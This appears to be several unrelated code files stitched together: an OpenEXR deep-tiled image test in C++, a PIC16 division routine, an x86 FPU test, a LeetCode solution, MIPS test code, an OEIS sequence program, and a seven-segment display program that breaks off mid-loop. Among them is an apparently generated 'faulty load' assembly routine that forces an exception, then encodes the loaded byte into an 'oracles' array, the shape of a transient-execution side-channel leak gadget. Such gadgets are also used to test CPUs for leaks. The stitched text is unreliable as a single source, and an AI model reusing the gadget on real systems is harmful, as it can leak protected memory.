Array<Array2D< void* > > data(channelCount);
for (int i = 0; i < channelCount; i++)
data[i].resizeErase(height, width);
Array2D<unsigned int> sampleCount;
sampleCount.resizeErase(height, width);
cout << " tileSizeX " << file.tileXSize()
<< " tileSizeY " << file.tileYSize() << " ";
sampleCountWhole.resizeErase(file.numYLevels(), file.numXLevels());
for (int i = 0; i < sampleCountWhole.height(); i++)
for (int j = 0; j < sampleCountWhole.width(); j++)
sampleCountWhole[i][j].resizeErase(height, width);
int memOffset;
if (relativeCoords)
memOffset = 0;
else
memOffset = dataWindow.min.x + dataWindow.min.y * width;
frameBuffer.insertSampleCountSlice (Slice (IMF::UINT,
(char *) (&sampleCount[0][0] - memOffset),
sizeof (unsigned int) * 1,
sizeof (unsigned int) * width,
1, 1,
0,
relativeCoords,
relativeCoords));
for (int i = 0; i < channelCount; i++)
{
PixelType type = NUM_PIXELTYPES;
if (channelTypes[i] == 0)
type = IMF::UINT;
if (channelTypes[i] == 1)
type = IMF::HALF;
if (channelTypes[i] == 2)
type = IMF::FLOAT;
stringstream ss;
ss << i;
string str = ss.str();
int sampleSize = 0;
if (channelTypes[i] == 0) sampleSize = sizeof (unsigned int);
if (channelTypes[i] == 1) sampleSize = sizeof (half);
if (channelTypes[i] == 2) sampleSize = sizeof (float);
int pointerSize = sizeof (char *);
frameBuffer.insert (str,
DeepSlice (type,
(char *) (&data[i][0][0] - memOffset),
pointerSize * 1,
pointerSize * width,
sampleSize,
1, 1,
0,
relativeCoords,
relativeCoords));
}
file.setFrameBuffer(frameBuffer);
cout << "writing " << flush;
if (bulkWrite)
cout << "bulk " << flush;
else
{
if (relativeCoords == false)
cout << "per-tile " << flush;
else
cout << "per-tile with relative coordinates " << flush;
}
for (int ly = 0; ly < file.numYLevels(); ly++)
for (int lx = 0; lx < file.numXLevels(); lx++)
{
Box2i dataWindowL = file.dataWindowForLevel(lx, ly);
if (bulkWrite)
{
//
// Bulk write (without relative coordinates).
//
for (int j = 0; j < file.numYTiles(ly); j++)
{
for (int i = 0; i < file.numXTiles(lx); i++)
{
Box2i box = file.dataWindowForTile(i, j, lx, ly);
for (int y = box.min.y; y <= box.max.y; y++)
for (int x = box.min.x; x <= box.max.x; x++)
{
int dwy = y - dataWindowL.min.y;
int dwx = x - dataWindowL.min.x;
sampleCount[dwy][dwx] = rand() % 10 + 1;
sampleCountWhole[ly][lx][dwy][dwx] = sampleCount[dwy][dwx];
for (int k = 0; k < channelCount; k++)
{
if (channelTypes[k] == 0)
data[k][dwy][dwx] = new unsigned int[sampleCount[dwy][dwx]];
if (channelTypes[k] == 1)
data[k][dwy][dwx] = new half[sampleCount[dwy][dwx]];
if (channelTypes[k] == 2)
data[k][dwy][dwx] = new float[sampleCount[dwy][dwx]];
for (unsigned int l = 0; l < sampleCount[dwy][dwx]; l++)
{
if (channelTypes[k] == 0)
((unsigned int*)data[k][dwy][dwx])[l] = (dwy * width + dwx) % 2049;
if (channelTypes[k] == 1)
((half*)data[k][dwy][dwx])[l] = (dwy* width + dwx) % 2049;
if (channelTypes[k] == 2)
((float*)data[k][dwy][dwx])[l] = (dwy * width + dwx) % 2049;
}
}
}
}
}
file.writeTiles(0, file.numXTiles(lx) - 1, 0, file.numYTiles(ly) - 1, lx, ly);
}
else if (bulkWrite == false)
{
if (relativeCoords == false)
{
//
// Per-tile write without relative coordinates.
//
for (int j = 0; j < file.numYTiles(ly); j++)
{
for (int i = 0; i < file.numXTiles(lx); i++)
{
Box2i box = file.dataWindowForTile(i, j, lx, ly);
for (int y = box.min.y; y <= box.max.y; y++)
for (int x = box.min.x; x <= box.max.x; x++)
{
int dwy = y - dataWindowL.min.y;
int dwx = x - dataWindowL.min.x;
sampleCount[dwy][dwx] = rand() % 10 + 1;
sampleCountWhole[ly][lx][dwy][dwx] = sampleCount[dwy][dwx];
for (int k = 0; k < channelCount; k++)
{
if (channelTypes[k] == 0)
data[k][dwy][dwx] = new unsigned int[sampleCount[dwy][dwx]];
if (channelTypes[k] == 1)
data[k][dwy][dwx] = new half[sampleCount[dwy][dwx]];
if (channelTypes[k] == 2)
data[k][dwy][dwx] = new float[sampleCount[dwy][dwx]];
for (unsigned int l = 0; l < sampleCount[dwy][dwx]; l++)
{
if (channelTypes[k] == 0)
((unsigned int*)data[k][dwy][dwx])[l] = (dwy * width + dwx) % 2049;
if (channelTypes[k] == 1)
((half*)data[k][dwy][dwx])[l] = (dwy* width + dwx) % 2049;
if (channelTypes[k] == 2)
((float*)data[k][dwy][dwx])[l] = (dwy * width + dwx) % 2049;
}
}
}
file.writeTile(i, j, lx, ly);
}
}
}
else if (relativeCoords)
{
//
// Per-tile write with relative coordinates.
//
for (int j = 0; j < file.numYTiles(ly); j++)
{
for (int i = 0; i < file.numXTiles(lx); i++)
{
Box2i box = file.dataWindowForTile(i, j, lx, ly);
for (int y = box.min.y; y <= box.max.y; y++)
for (int x = box.min.x; x <= box.max.x; x++)
{
int dwy = y - dataWindowL.min.y;
int dwx = x - dataWindowL.min.x;
int ty = y - box.min.y;
int tx = x - box.min.x;
sampleCount[ty][tx] = rand() % 10 + 1;
sampleCountWhole[ly][lx][dwy][dwx] = sampleCount[ty][tx];
for (int k = 0; k < channelCount; k++)
{
if (channelTypes[k] == 0)
data[k][ty][tx] = new unsigned int[sampleCount[ty][tx]];
if (channelTypes[k] == 1)
data[k][ty][tx] = new half[sampleCount[ty][tx]];
if (channelTypes[k] == 2)
data[k][ty][tx] = new float[sampleCount[ty][tx]];
for (unsigned int l = 0; l < sampleCount[ty][tx]; l++)
{
if (channelTypes[k] == 0)
((unsigned int*)data[k][ty][tx])[l] =
(dwy * width + dwx) % 2049;
if (channelTypes[k] == 1)
((half*)data[k][ty][tx])[l] =
(dwy * width + dwx) % 2049;
if (channelTypes[k] == 2)
((float*)data[k][ty][tx])[l] =
(dwy * width + dwx) % 2049;
}
}
}
file.writeTile(i, j, lx, ly);
for (int y = box.min.y; y <= box.max.y; y++)
for (int x = box.min.x; x <= box.max.x; x++)
for (int k = 0; k < channelCount; k++)
{
int ty = y - box.min.y;
int tx = x - box.min.x;
if (channelTypes[k] == 0)
delete[] (unsigned int*) data[k][ty][tx];
if (channelTypes[k] == 1)
delete[] (half*) data[k][ty][tx];
if (channelTypes[k] == 2)
delete[] (float*) data[k][ty][tx];
}
}
}
}
}
if (relativeCoords == false)
{
for (int i = 0; i < file.levelHeight(ly); i++)
for (int j = 0; j < file.levelWidth(lx); j++)
for (int k = 0; k < channelCount; k++)
{
if (channelTypes[k] == 0)
delete[] (unsigned int*) data[k][i][j];
if (channelTypes[k] == 1)
delete[] (half*) data[k][i][j];
if (channelTypes[k] == 2)
delete[] (float*) data[k][i][j];
}
}
}
}
void checkValue (void* sampleRawData,
int sampleCount,
int channelType,
int dwx,
int dwy)
{
for (int l = 0; l < sampleCount; l++)
{
if (channelType == 0)
{
unsigned int* value = (unsigned int*)(sampleRawData);
if (value[l] != static_cast<unsigned int>((dwy * width + dwx) % 2049))
cout << dwx << ", " << dwy << " error, should be "
<< (dwy * width + dwx) % 2049 << ", is " << value[l]
<< endl << flush;
assert (value[l] == static_cast<unsigned int>((dwy * width + dwx) % 2049));
}
if (channelType == 1)
{
half* value = (half*)(sampleRawData);
if (value[l] != (dwy * width + dwx) % 2049)
cout << dwx << ", " << dwy << " error, should be "
<< (dwy * width + dwx) % 2049 << ", is " << value[l]
<< endl << flush;
assert (value[l] == (dwy * width + dwx) % 2049);
}
if (channelType == 2)
{
float* value = (float*)(sampleRawData);
if (value[l] != (dwy * width + dwx) % 2049)
cout << dwx << ", " << dwy << " error, should be "
<< (dwy * width + dwx) % 2049 << ", is " << value[l]
<< endl << flush;
assert (value[l] == (dwy * width + dwx) % 2049);
}
}
}
void readFile (int channelCount,
bool bulkRead,
bool relativeCoords,
bool randomChannels,
const std::string & filename)
{
if (relativeCoords)
assert(bulkRead == false);
cout << "reading " << flush;
DeepTiledInputFile file (filename.c_str(), 4);
const Header& fileHeader = file.header();
assert (fileHeader.displayWindow() == header.displayWindow());
assert (fileHeader.dataWindow() == header.dataWindow());
assert (fileHeader.pixelAspectRatio() == header.pixelAspectRatio());
assert (fileHeader.screenWindowCenter() == header.screenWindowCenter());
assert (fileHeader.screenWindowWidth() == header.screenWindowWidth());
assert (fileHeader.lineOrder() == header.lineOrder());
assert (fileHeader.compression() == header.compression());
assert (fileHeader.channels() == header.channels());
assert (fileHeader.type() == header.type());
assert (fileHeader.tileDescription() == header.tileDescription());
Array2D<unsigned int> localSampleCount;
localSampleCount.resizeErase(height, width);
// also test filling channels. Generate up to 2 extra channels
int fillChannels=rand()%3;
Array<Array2D< void* > > data(channelCount+fillChannels);
for (int i = 0; i < channelCount+fillChannels; i++)
data[i].resizeErase(height, width);
DeepFrameBuffer frameBuffer;
int memOffset;
if (relativeCoords)
memOffset = 0;
else
memOffset = dataWindow.min.x + dataWindow.min.y * width;
frameBuffer.insertSampleCountSlice (Slice (IMF::UINT,
(char *) (&localSampleCount[0][0] - memOffset),
sizeof (unsigned int) * 1,
sizeof (unsigned int) * width,
1, 1,
0,
relativeCoords,
relativeCoords));
vector<int> read_channel(channelCount);
int channels_added=0;
for (int i = 0; i < channelCount; i++)
{
if(randomChannels)
{
read_channel[i] = rand() % 2;
}
if(!randomChannels || read_channel[i]==1)
{
PixelType type = IMF::NUM_PIXELTYPES;
if (channelTypes[i] == 0)
type = IMF::UINT;
if (channelTypes[i] == 1)
type = IMF::HALF;
if (channelTypes[i] == 2)
type = IMF::FLOAT;
stringstream ss;
ss << i;
string str = ss.str();
int sampleSize = 0;
if (channelTypes[i] == 0) sampleSize = sizeof (unsigned int);
if (channelTypes[i] == 1) sampleSize = sizeof (half);
if (channelTypes[i] == 2) sampleSize = sizeof (float);
int pointerSize = sizeof (char *);
frameBuffer.insert (str,
DeepSlice (type,
(char *) (&data[i][0][0] - memOffset),
pointerSize * 1,
pointerSize * width,
sampleSize,
1, 1,
0,
relativeCoords,
relativeCoords));
channels_added++;
}
}
if(channels_added==0)
{
cout << "skipping " <<flush;
return;
}
for(int i = 0 ; i < fillChannels ; ++i )
{
PixelType type = IMF::FLOAT;
int sampleSize = sizeof(float);
int pointerSize = sizeof (char *);
stringstream ss;
// generate channel names that aren't in file but (might) interleave with existing file
ss << i << "fill";
string str = ss.str();
frameBuffer.insert (str,
DeepSlice (type,
(char *) (&data[i+channelCount][0][0] - memOffset),
pointerSize * 1,
pointerSize * width,
sampleSize,
1, 1,
0,
relativeCoords,
relativeCoords));
}
file.setFrameBuffer(frameBuffer);
if (bulkRead)
cout << "bulk " << flush;
else
{
if (relativeCoords == false)
cout << "per-tile " << flush;
else
cout << "per-tile with relative coordinates " << flush;
}
for (int ly = 0; ly < file.numYLevels(); ly++)
for (int lx = 0; lx < file.numXLevels(); lx++)
{
Box2i dataWindowL = file.dataWindowForLevel(lx, ly);
if (bulkRead)
{
//
// Testing bulk read (without relative coordinates).
//
file.readPixelSampleCounts(0, file.numXTiles(lx) - 1, 0, file.numYTiles(ly) - 1, lx, ly);
for (int i = 0; i < file.numYTiles(ly); i++)
{
for (int j = 0; j < file.numXTiles(lx); j++)
{
Box2i box = file.dataWindowForTile(j, i, lx, ly);
for (int y = box.min.y; y <= box.max.y; y++)
for (int x = box.min.x; x <= box.max.x; x++)
{
int dwy = y - dataWindowL.min.y;
int dwx = x - dataWindowL.min.x;
assert(localSampleCount[dwy][dwx] == sampleCountWhole[ly][lx][dwy][dwx]);
for (size_t k = 0; k < channelTypes.size(); k++)
{
if (channelTypes[k] == 0)
data[k][dwy][dwx] = new unsigned int[localSampleCount[dwy][dwx]];
if (channelTypes[k] == 1)
data[k][dwy][dwx] = new half[localSampleCount[dwy][dwx]];
if (channelTypes[k] == 2)
data[k][dwy][dwx] = new float[localSampleCount[dwy][dwx]];
}
for( int f = 0 ; f < fillChannels ; ++f )
{
data[f + channelTypes.size()][dwy][dwx] = new float[localSampleCount[dwy][dwx]];
}
}
}
}
file.readTiles(0, file.numXTiles(lx) - 1, 0, file.numYTiles(ly) - 1, lx, ly);
}
else if (bulkRead == false)
{
if (relativeCoords == false)
{
//
// Testing per-tile read without relative coordinates.
//
for (int i = 0; i < file.numYTiles(ly); i++)
{
for (int j = 0; j < file.numXTiles(lx); j++)
{
file.readPixelSampleCount(j, i, lx, ly);
Box2i box = file.dataWindowForTile(j, i, lx, ly);
for (int y = box.min.y; y <= box.max.y; y++)
for (int x = box.min.x; x <= box.max.x; x++)
{
int dwy = y - dataWindowL.min.y;
int dwx = x - dataWindowL.min.x;
assert(localSampleCount[dwy][dwx] == sampleCountWhole[ly][lx][dwy][dwx]);
for (size_t k = 0; k < channelTypes.size(); k++)
{
if (channelTypes[k] == 0)
data[k][dwy][dwx] = new unsigned int[localSampleCount[dwy][dwx]];
if (channelTypes[k] == 1)
data[k][dwy][dwx] = new half[localSampleCount[dwy][dwx]];
if (channelTypes[k] == 2)
data[k][dwy][dwx] = new float[localSampleCount[dwy][dwx]];
}
for( int f = 0 ; f < fillChannels ; ++f )
{
data[f + channelTypes.size()][dwy][dwx] = new float[localSampleCount[dwy][dwx]];
}
}
file.readTile(j, i, lx, ly);
}
}
}
else if (relativeCoords)
{
//
// Testing per-tile read with relative coordinates.
//
for (int i = 0; i < file.numYTiles(ly); i++)
{
for (int j = 0; j < file.numXTiles(lx); j++)
{
file.readPixelSampleCount(j, i, lx, ly);
Box2i box = file.dataWindowForTile(j, i, lx, ly);
for (int y = box.min.y; y <= box.max.y; y++)
for (int x = box.min.x; x <= box.max.x; x++)
{
int dwy = y - dataWindowL.min.y;
int dwx = x - dataWindowL.min.x;
int ty = y - box.min.y;
int tx = x - box.min.x;
assert(localSampleCount[ty][tx] == sampleCountWhole[ly][lx][dwy][dwx]);
for (size_t k = 0; k < channelTypes.size(); k++)
{
if( !randomChannels || read_channel[k]==1)
{
if (channelTypes[k] == 0)
data[k][ty][tx] = new unsigned int[localSampleCount[ty][tx]];
if (channelTypes[k] == 1)
data[k][ty][tx] = new half[localSampleCount[ty][tx]];
if (channelTypes[k] == 2)
data[k][ty][tx] = new float[localSampleCount[ty][tx]];
}
}
for( int f = 0 ; f < fillChannels ; ++f )
{
data[f + channelTypes.size()][ty][tx] = new float[localSampleCount[ty][tx]];
}
}
file.readTile(j, i, lx, ly);
for (int y = box.min.y; y <= box.max.y; y++)
for (int x = box.min.x; x <= box.max.x; x++)
{
int dwy = y - dataWindowL.min.y;
int dwx = x - dataWindowL.min.x;
int ty = y - box.min.y;
int tx = x - box.min.x;
for (size_t k = 0; k < channelTypes.size(); k++)
{
if( !randomChannels || read_channel[k]==1)
{
checkValue(data[k][ty][tx],
localSampleCount[ty][tx],
channelTypes[k],
dwx, dwy);
if (channelTypes[k] == 0)
delete[] (unsigned int*) data[k][ty][tx];
if (channelTypes[k] == 1)
delete[] (half*) data[k][ty][tx];
if (channelTypes[k] == 2)
delete[] (float*) data[k][ty][tx];
}
}
for( int f = 0 ; f < fillChannels ; ++f )
{
delete[] (float*) data[f+channelTypes.size()][ty][tx];
}
}
}
}
}
}
if (relativeCoords == false)
{
for (int i = 0; i < file.levelHeight(ly); i++)
for (int j = 0; j < file.levelWidth(lx); j++)
for (int k = 0; k < channelCount; k++)
{
if( !randomChannels || read_channel[k]==1)
{
for (unsigned int l = 0; l < localSampleCount[i][j]; l++)
{
if (channelTypes[k] == 0)
{
unsigned int* value = (unsigned int*)(data[k][i][j]);
if (value[l] != static_cast<unsigned int>(i * width + j) % 2049)
cout << j << ", " << i << " error, should be "
<< (i * width + j) % 2049 << ", is " << value[l]
<< endl << flush;
assert (value[l] == static_cast<unsigned int>(i * width + j) % 2049);
}
if (channelTypes[k] == 1)
{
half* value = (half*)(data[k][i][j]);
if (value[l] != (i * width + j) % 2049)
cout << j << ", " << i << " error, should be "
<< (i * width + j) % 2049 << ", is " << value[l]
<< endl << flush;
assert (((half*)(data[k][i][j]))[l] == (i * width + j) % 2049);
}
if (channelTypes[k] == 2)
{
float* value = (float*)(data[k][i][j]);
if (value[l] != (i * width + j) % 2049)
cout << j << ", " << i << " error, should be "
<< (i * width + j) % 2049 << ", is " << value[l]
<< endl << flush;
assert (((float*)(data[k][i][j]))[l] == (i * width + j) % 2049);
}
}
}
}
for (int i = 0; i < file.levelHeight(ly); i++)
for (int j = 0; j < file.levelWidth(lx); j++)
{
for (int k = 0; k < channelCount; k++)
{
if( !randomChannels || read_channel[k]==1)
{
if (channelTypes[k] == 0)
delete[] (unsigned int*) data[k][i][j];
if (channelTypes[k] == 1)
delete[] (half*) data[k][i][j];
if (channelTypes[k] == 2)
delete[] (float*) data[k][i][j];
}
}
for( int f = 0 ; f < fillChannels ; ++f )
{
delete[] (float*) data[f+channelTypes.size()][i][j];
}
}
}
}
}
void readWriteTestWithAbsoluateCoordinates (int channelCount,
int testTimes,
const std::string & tempDir)
{
cout << "Testing files with " << channelCount
<< " channels, using absolute coordinates "
<< testTimes << " times."
<< endl << flush;
std::string fn = tempDir + "imf_test_deep_tiled_basic.exr";
for (int i = 0; i < testTimes; i++)
{
int compressionIndex = i % 3;
Compression compression;
switch (compressionIndex)
{
case 0:
compression = NO_COMPRESSION;
break;
case 1:
compression = RLE_COMPRESSION;
break;
case 2:
compression = ZIPS_COMPRESSION;
break;
}
generateRandomFile (channelCount, compression, false, false, fn);
readFile (channelCount, false, false, false , fn);
readFile (channelCount, false, false, true , fn);
remove (fn.c_str());
cout << endl << flush;
generateRandomFile (channelCount, compression, true, false, fn);
readFile (channelCount, true, false, false, fn);
readFile (channelCount, true, false, true, fn);
remove (fn.c_str());
cout << endl << flush;
generateRandomFile (channelCount, compression, false, true, fn);
readFile (channelCount, false, true, false , fn);
readFile (channelCount, false, true, true , fn);
remove (fn.c_str());
cout << endl << flush;
}
}
} // namespace
void testDeepTiledBasic (const std::string & tempDir)
{
try
{
cout << "Testing the DeepTiledInput/OutputFile for basic use" << endl;
srand(1);
int numThreads = ThreadPool::globalThreadPool().numThreads();
ThreadPool::globalThreadPool().setNumThreads(2);
for(int pass = 0 ; pass < 4 ; pass++)
{
readWriteTestWithAbsoluateCoordinates ( 1, 2, tempDir);
readWriteTestWithAbsoluateCoordinates ( 3, 2, tempDir);
readWriteTestWithAbsoluateCoordinates (10, 2, tempDir);
}
ThreadPool::globalThreadPool().setNumThreads(numThreads);
cout << "ok\n" << endl;
}
catch (const std::exception &e)
{
cerr << "ERROR -- caught exception: " << e.what() << endl;
assert (false);
}
}
|
#include "p16f84a.inc";initialize the library
cblock 0x20 ;initialize the variable with addresses
input1 ;GPR for the input1
input2 ;GPR for the input2
tempinput2 ;GPR for the temporary input2
counter ;GPR for the counter ( counter = input2 /input1 )
reminder ;GPR for the reminder of the division
endc
;----------------------------------------------------
Main
org 0x00 ; initialize the variables with zero value
clrf reminder
clrf counter
clrf tempinput2
clrw
muhammad
; Check if input1 equal to zero
movf input1,1
btfsc STATUS,Z
goto finish
; check if input1 < input2
bcf STATUS,C
movf input1,W
subwf input2,W
btfss STATUS,C
goto check
movf input2,W ; Save the value of input2 in tempinput2
movwf tempinput2 ; to keep the value of the input2
Again ; This code is for execution the counter of the equation
movf input1,W
subwf tempinput2,W ; if input1 > input2 (the tempinput2 equal to the reminder ) else continue
btfss STATUS,C ; Go to finish1 of the programme
goto finish1
movf input1,W ; move input1 to W-Reg to subtract it from tempinput2
incf counter,F ; increment the counter by value equal to 1
subwf tempinput2,F
btfss STATUS,Z ;Test for tempinput2 if Z=1 go to finish else continue
goto Again
clrf reminder ;set the value of the reminder to equal to zero
goto finish
finish1 ; Set the value of the reminder to equal to tempinput2
movf tempinput2,W
movwf reminder
goto finish
;-------------------------------------------------------
check
movf input2,0
movwf reminder
finish
nop
end |
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_FPU_PE|FLAG_FPU_C1
;TEST_FILE_META_END
; set up st0 to be PI
FLDPI
;TEST_BEGIN_RECORDING
lea edi, [esp-08]
mov dword [edi], 0x1
FISUB dword [edi]
mov edi, 0x0
;TEST_END_RECORDING
|
// Time: O(n * l), l is the average length of file content
// Space: O(n * l)
class Solution {
public:
vector<vector<string>> findDuplicate(vector<string>& paths) {
unordered_map<string, vector<string>> files;
for (const auto& path : paths) {
stringstream ss(path);
string root;
string s;
getline(ss, root, ' ');
while (getline(ss, s, ' ')) {
auto fileName = root + '/' + s.substr(0, s.find('('));
auto fileContent = s.substr(s.find('(') + 1, s.find(')') - s.find('(') - 1);
files[fileContent].emplace_back(fileName);
}
}
vector<vector<string>> result;
for (const auto& file : files) {
if (file.second.size() > 1) {
result.emplace_back(file.second);
}
}
return result;
}
};
|
lui $2,0xffff
ori $2,$2,0xfffe
bgez $2,target
ori $2,$0,2119
xori $3,$2,2395
andi $3,$3,4937
addiu $4,$3,7887
target:
bgez $2,target1
addi $3,$2,293
ori $3,$0,2039
target1:
bgez $0,target2
add $4,$4,2345
ori $4,$0,9392
target2:
sub $6,$4,$3
lui $4,0xffff
ori $3,$0,0xfffe
ori $2,$0,4
or $5,$0,$2
or $2,$3,$4
sw $2,0($5)
lw $6,4($0)
bgez $6,target3
ori $3,$0,2582
ori $4,$0,8378
ori $2,$0,4526
nor $6,$3,$4
nor $5,$2,$3
xor $7,$3,$6
xor $8,$3,$2
target3:
bgez $8,target4
and $3,$3,$4
target4:
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1be83, %r14
nop
dec %r11
movw $0x6162, (%r14)
nop
nop
nop
cmp %rax, %rax
lea addresses_WC_ht+0x40c3, %rsi
lea addresses_normal_ht+0x7fa3, %rdi
nop
nop
nop
sub %r10, %r10
mov $82, %rcx
rep movsb
nop
nop
nop
sub $56883, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %rax
push %rbp
push %rbx
push %rsi
// Store
lea addresses_normal+0x14c43, %r13
nop
nop
nop
nop
cmp %rbx, %rbx
movb $0x51, (%r13)
nop
nop
nop
and %r13, %r13
// Store
lea addresses_WT+0x657f, %rbp
nop
nop
xor %rax, %rax
mov $0x5152535455565758, %r13
movq %r13, %xmm4
movups %xmm4, (%rbp)
nop
nop
nop
dec %r14
// Store
lea addresses_PSE+0x49a7, %r15
nop
nop
xor %rsi, %rsi
movl $0x51525354, (%r15)
nop
nop
nop
xor %rsi, %rsi
// Store
lea addresses_US+0x56c3, %r13
nop
nop
cmp $44021, %rax
mov $0x5152535455565758, %rsi
movq %rsi, (%r13)
// Exception!!!
nop
mov (0), %r15
sub %r15, %r15
// Load
lea addresses_RW+0x7ee7, %rax
nop
nop
xor $36979, %rbp
mov (%rax), %r15d
nop
nop
nop
cmp $1093, %rax
// Faulty Load
lea addresses_D+0x182c3, %rbp
nop
sub %rsi, %rsi
mov (%rbp), %eax
lea oracles, %r15
and $0xff, %rax
shlq $12, %rax
mov (%r15,%rax,1), %rax
pop %rsi
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
; A064717: A Beatty sequence for 2^i + 2^(-i) where i = sqrt(-1).
; 1,3,4,6,7,9,10,12,13,15,16,18,20,21,23,24,26,27,29,30,32,33,35,36,38,40,41,43,44,46,47,49,50,52,53,55,56,58,60,61,63,64,66,67,69,70,72,73,75,76,78,80,81,83,84,86,87,89,90,92,93,95,96,98,100,101,103,104,106,107,109,110,112,113,115,116,118,120,121,123,124,126,127,129,130,132,133,135,136,138,140,141,143,144,146,147,149,150,152,153
add $0,1
mov $1,20
mul $1,$0
div $1,13
mov $0,$1
|
; --------------------------------------
; Seven-segment Display
; --------------------------------------
JMP Start ; Jump past the data table
DB FA ; 0 - 1111 1010
DB 60 ; 1 - 0110 0000
DB B6 ; 2 - 1011 0110
DB 9E ; 3 - 1001 1110
DB 4E ; 4 - 0100 1110
DB DC ; 5 - 1101 1100
DB FC ; 6 - 1111 1100
DB 8A ; 7 - 1000 1010
DB FE ; 8 - 1111 1110
DB DE ; 9 - 1101 1110
DB 00
Start:
MOV BL, 02 ; Make BL point to the first entry in the data table
MOV AL, [BL] ; Copy data from table to AL
Loop:
OUT 02 ; Send data to seven-segment display
INC AL ; Set the right most bit to one
